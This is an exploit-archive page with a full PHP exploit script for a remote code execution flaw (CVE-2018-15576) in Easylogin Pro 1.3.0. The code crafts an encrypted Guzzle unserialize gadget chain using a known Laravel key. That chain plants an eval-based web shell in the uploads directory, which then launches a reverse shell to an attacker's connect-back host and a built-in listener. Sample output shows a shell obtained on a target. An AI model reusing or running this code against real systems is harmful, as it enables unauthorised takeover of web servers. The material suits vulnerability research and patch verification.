Lucene search

K
packetstormMr_mePACKETSTORM:149018
HistoryAug 21, 2018 - 12:00 a.m.

Easylogin Pro 1.3.0 Remote Code Execution

2018-08-2100:00:00
mr_me
packetstormsecurity.com
45

0.064 Low

EPSS

Percentile

93.7%

`#!/usr/bin/php  
<?php  
/*  
Easylogin Pro Encryptor.php Unserialize Remote Code Execution Vulnerability  
Version: 1.3.0  
Platform: Ubuntu Server 18.04.1   
  
Bug found by: @f99942  
Tekniq/exploit by: @steventseeley (mr_me)  
CVE: CVE-2018-15576  
  
Notes:  
======  
  
- This is not really a security issue I guess, because you need to know the key.   
But a simple disclosure bug could mean its game over for Easylogin Pro  
- You will need PHP with threading support to run this exploit  
- Laravel + Guzzle === lol  
  
Example:  
========  
  
mr_me@pluto:~$ php -m | grep pthreads && php --version  
pthreads  
PHP 7.2.2 (cli) (built: Aug 10 2018 01:30:10) ( ZTS DEBUG )  
Copyright (c) 1997-2018 The PHP Group  
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies  
with Zend OPcache v7.2.2, Copyright (c) 1999-2018, by Zend Technologies  
  
mr_me@pluto:~$ ./e.php   
  
Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability  
Bug found by: @f99942  
Tekniq/exploit by: @steventseeley (mr_me)  
  
----------------------------------------------------  
Usage: php ./e.php -t <ip> -c <ip:port>  
-t: target server (ip with or without port)  
-c: connectback server (ip and port)  
Example:  
php ./e.php -t 172.16.175.136 -c 172.16.175.137:1337  
----------------------------------------------------  
mr_me@pluto:~$ ./e.php -t 172.16.175.137 -c 172.16.175.136:1337  
  
Easylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability  
bug found by: @f99942  
tekniq/exploit by: @steventseeley (mr_me)  
  
(+) snap...  
(+) crackle...  
(+) pop!  
(+) connectback from 172.16.175.137 via port 41860  
  
www-data@target:/var/www/html/uploads$ id;uname -a  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
Linux target 4.15.0-30-generic #32-Ubuntu SMP Thu Jul 26 17:42:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux  
www-data@target:/var/www/html/uploads$ ls -la  
total 12  
drwxrwxrwx 2 www-data www-data 4096 Aug 12 23:06 .  
drwxr-xr-x 9 www-data www-data 4096 Aug 9 14:49 ..  
-rwxrwxrwx 1 root root 13 Dec 12 2017 .gitignore  
www-data@target:/var/www/html/uploads$ php --version  
PHP 7.2.7-0ubuntu0.18.04.2 (cli) (built: Jul 4 2018 16:55:24) ( NTS )  
Copyright (c) 1997-2018 The PHP Group  
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies  
with Zend OPcache v7.2.7-0ubuntu0.18.04.2, Copyright (c) 1999-2018, by Zend Technologies  
www-data@target:/var/www/html/uploads$  
*/  
  
namespace GuzzleHttp\Cookie;  
  
// change these to work against your target  
$key = "OPudCtPyxzAGw8LkQowOoQAc88dvULGB";  
$path = "/var/www/html";  
  
class Encrypter {  
protected $key;  
protected $cipher;  
  
public function __construct($key, $cipher = 'AES-256-CBC'){  
$key = (string) $key;  
$this->key = $key;  
$this->cipher = $cipher;  
}  
  
public function encrypt($value, $serialize = true){  
$iv = random_bytes(openssl_cipher_iv_length($this->cipher));  
$value = openssl_encrypt(  
$serialize ? serialize($value) : $value,  
$this->cipher, $this->key, 0, $iv  
);  
if ($value === false) {  
throw new EncryptException('Could not encrypt the data.');  
}  
$mac = $this->hash($iv = base64_encode($iv), $value);  
$json = json_encode(compact('iv', 'value', 'mac'));  
if (json_last_error() !== JSON_ERROR_NONE) {  
throw new EncryptException('Could not encrypt the data.');  
}  
return base64_encode($json);  
}  
  
public function encryptString($value){  
return $this->encrypt($value, false);  
}  
  
protected function hash($iv, $value){  
return hash_hmac('sha256', $iv.$value, $this->key);  
}  
}  
  
// pop chain  
interface ToArrayInterface {}  
  
class SetCookie implements ToArrayInterface {  
private $data;  
  
public function __construct(array $data = []){  
$this->data = $data;  
}  
}  
  
class CookieJar implements ToArrayInterface {  
private $cookies;  
  
public function setCookie(SetCookie $cookie){  
$this->cookies = array($cookie);  
}  
}  
  
class FileCookieJar extends CookieJar {  
private $filename;  
  
public function __construct($bd_file, $cbh, $cbp){  
$this->filename = $bd_file;  
$this->setCookie(new SetCookie(array(  
"Value" => '<?php eval(base64_decode($_SERVER[HTTP_SI])); ?>',   
"Expires" => true,  
"Discard" => false,  
)));   
}  
}  
  
class Exploit{  
private $target;  
private $targetport;  
private $cbhost;  
private $cbport;  
private $key;  
private $path;  
  
public function __construct($t, $tp, $cbh, $cbp, $k, $p){  
$this->target = $t;  
$this->targetport = $tp;  
$this->cbhost = $cbh;  
$this->cbport = $cbp;  
$this->key = $k;  
$this->path = $p;  
}  
  
public function run(){  
  
// its possible to leak the path if app.php contains 'debug' => true  
// also, uploads is writable by default for avatars  
$fcj = new FileCookieJar("$this->path/uploads/si.php", $this->cbhost, $this->cbport);  
$e = new Encrypter($this->key);  
$this->p = $e->encryptString(serialize($fcj));  
  
// hardcoded md5 of the class name 'Hazzard\Auth\Auth' for the cookie login   
$c = $this->do_get("index.php", array("Cookie: login_ac5456751dd3c394383a14228642391e=$this->p"));  
if ($c === 500){  
print "(+) pop!\r\n";  
  
// start our listener  
$s = new Shell($this->cbport);   
$s->start();  
  
// msf reverse shell with some stuff modified  
$rs = <<<'PHP'  
@error_reporting(-1);  
@set_time_limit(0);   
@ignore_user_abort(1);  
$dis=@ini_get('disable_functions');  
if(!empty($dis)){  
$dis=preg_replace('/[, ]+/', ',', $dis);  
$dis=explode(',', $dis);  
$dis=array_map('trim', $dis);  
}else{  
$dis=array();  
}  
$ipaddr='[cbhost]';  
$port=[cbport];  
function PtdSlhY($c){  
global $dis;   
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {  
$c=$c." 2>&1\n";  
}  
ob_start();  
system($c);  
$o=ob_get_contents();  
ob_end_clean();  
if (strlen($o) === 0){  
$o = "NULL";  
}  
return $o;  
}  
// we disappear like a fart in the wind  
@unlink("si.php");  
$nofuncs='no exec functions';  
$s=@fsockopen("tcp://$ipaddr",$port);  
while($c=fread($s,2048)){  
$out = '';  
if(substr($c,0,3) == 'cd '){  
chdir(substr($c,3,-1));  
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {  
break;  
}else{  
$out=PtdSlhY(substr($c,0,-1));  
if($out===false){  
fwrite($s, $nofuncs);  
break;  
}  
}  
fwrite($s,$out);  
}  
fclose($s);  
PHP;  
$rs = str_replace("[cbhost]", $this->cbhost, $rs);  
$rs = str_replace("[cbport]", $this->cbport, $rs);  
$php = base64_encode($rs);  
$this->do_get("uploads/si.php", array("si: $php"));  
}  
}  
  
private function do_get($p = "index.php", array $h = []){  
$curl = curl_init();  
curl_setopt_array($curl, array(  
CURLOPT_RETURNTRANSFER => 1,  
CURLOPT_URL => "http://$this->target/$p",  
CURLOPT_HTTPHEADER => $h,  
CURLOPT_PORT => (int) $this->targetport  
));  
$resp = curl_exec($curl);  
return curl_getinfo($curl, CURLINFO_HTTP_CODE);  
}  
}  
  
class Shell extends \Thread{  
private $cbport;  
  
public function __construct($cbp){  
$this->cbport = $cbp;  
}  
  
public function run(){   
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
$ret = @socket_bind($sock, 0, (int) $this->cbport);  
$ret = @socket_listen($sock, 5);  
$msgsock = @socket_accept($sock);  
@socket_close($sock);  
$start = true;  
$fp = fopen("php://stdin", "r");  
while(false !== @socket_select($r = array($msgsock))){  
if ($start === true){  
if (socket_getpeername($r[0], $a, $p) === true){  
print "(+) connectback from $a via port $p\r\n";  
$s = $this->exec_cmd($msgsock, "echo `whoami`@`hostname`:\n");  
}  
}  
$start = false;  
  
// the pretty shells illusion  
print "\r\n".$s.$this->exec_cmd($msgsock, "echo `pwd`\n")."$ ";  
  
// get our command...  
$c = fgets($fp);  
  
// if the attacker enters nothing, continue...  
if (strpos("\n", $c) === 0){  
continue;  
}  
if (strpos($c, "cd") === false){  
print $this->exec_cmd($msgsock, $c);  
}elseif (strpos($c, "cd") !== false){  
$this->exec_cmd($msgsock, $c, false);  
}  
if(in_array($c, array("exit\n", "quit\n"))){  
break;  
}  
}  
fclose($fp);  
}  
  
private function exec_cmd($c, $cmd, $ret=true){  
  
// send our command to the reverse shell  
@socket_write($c, $cmd, strlen($cmd));  
  
if ($ret == true){  
// we don't care to get the shell prompt back...  
$resp = trim(@socket_read($c, 2048, PHP_BINARY_READ));  
if ($resp === "NULL"){  
return "";  
}else{  
return $resp;  
}  
}  
}  
}  
  
print_r("\r\nEasylogin Pro <= v1.3.0 Encryptor.php Unserialize Remote Code Execution Vulnerability  
Bug found by: @f99942  
Tekniq/exploit by: @steventseeley (mr_me)\r\n");  
  
if ($argc < 3) {  
print_r("  
----------------------------------------------------  
Usage: php ".$argv[0]." -t <ip> -c <ip:port>  
-t: target server (ip with or without port)  
-c: connectback server (ip and port)  
Example:  
php ".$argv[0]." -t 172.16.175.136 -c 172.16.175.137:1337  
----------------------------------------------------  
"); die; }  
  
function set_args($argv) {  
$_ARG = array();  
foreach ($argv as $arg) {  
if (preg_match("/--([^=]+)=(.*)/", $arg, $reg)) {  
$_ARG[$reg[1]] = $reg[2];  
} elseif(preg_match("/^-([a-zA-Z0-9])/", $arg, $reg)) {  
$_ARG[$reg[1]] = "true";  
} else {  
$_ARG["input"][] = $arg;  
}  
}  
return $_ARG;  
}  
  
$args = set_args($argv);  
$host = $args["input"]["1"];  
$cbsp = $args["input"]["2"];  
  
if (strpos($host, ":") == true){  
$host_and_port = explode(":", $host);  
$host = $host_and_port[0];  
$port = $host_and_port[1];  
}else{  
$port = 80;  
}  
  
if (strpos($cbsp, ":") == true){  
$cbhost_and_cbport = explode(":", $cbsp);  
$cbhost = $cbhost_and_cbport[0];  
$cbport = $cbhost_and_cbport[1];  
}else{  
$cbport = 1337;  
}  
  
$ip_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";  
if ((preg_match($ip_regex, $host) === 1) && (preg_match($ip_regex, $cbhost) === 1)){  
  
// exploit entry  
$poc = new Exploit($host, $port, $cbhost, $cbport, $key, $path);  
print "\r\n(+) snap...\r\n(+) crackle...\r\n";  
$poc->run();  
}  
/*  
eyJpdiI6InFGcWFDMW9aMEFwWmo2XC9RRkhxZ3JBPT0iLCJ2YWx1ZSI6IjdpVExUQWpaYVpu  
RjVVRElxczg1YUVpSWl2bEtXOVwvY3BVaDFkc0NNY0Y4NkhMME9XNE9PZHJxc0FhUFBlenpi  
VWtJSUNHWE9RYU5MQjVnOUgzUkt4RGc0QlE4TDNZSnpueFZlblVjM3NnVXFmeE0zSnZaRFA2  
a2gxU1l2QlVYNW5pUkZEd3c2RFJWYnpqRFkyUmdOQW5vZkVtaFA0Y2JDRW1kUU5mNWtGdmh3  
WDJWYlBmQU0rTkFwWExQOERWcEZDVTYzU255VEFaTzN4MzhZTEUxWElRbnNCZ1grWm9rN3Vh  
MzBzSnYrSGpjMmlRRWMxZWVTbDVhN29uOG1RazBJIiwibWFjIjoiOThmYTM5ZDc3M2FlMGVh  
NTI3ZWI2ZGNkODQ5N2ZmZmExNDA3YjdjYzYzMGRlODY3NDZmMjRkYTBiNmVjMGJmMCJ9  
*/  
?>  
  
  
`

0.064 Low

EPSS

Percentile

93.7%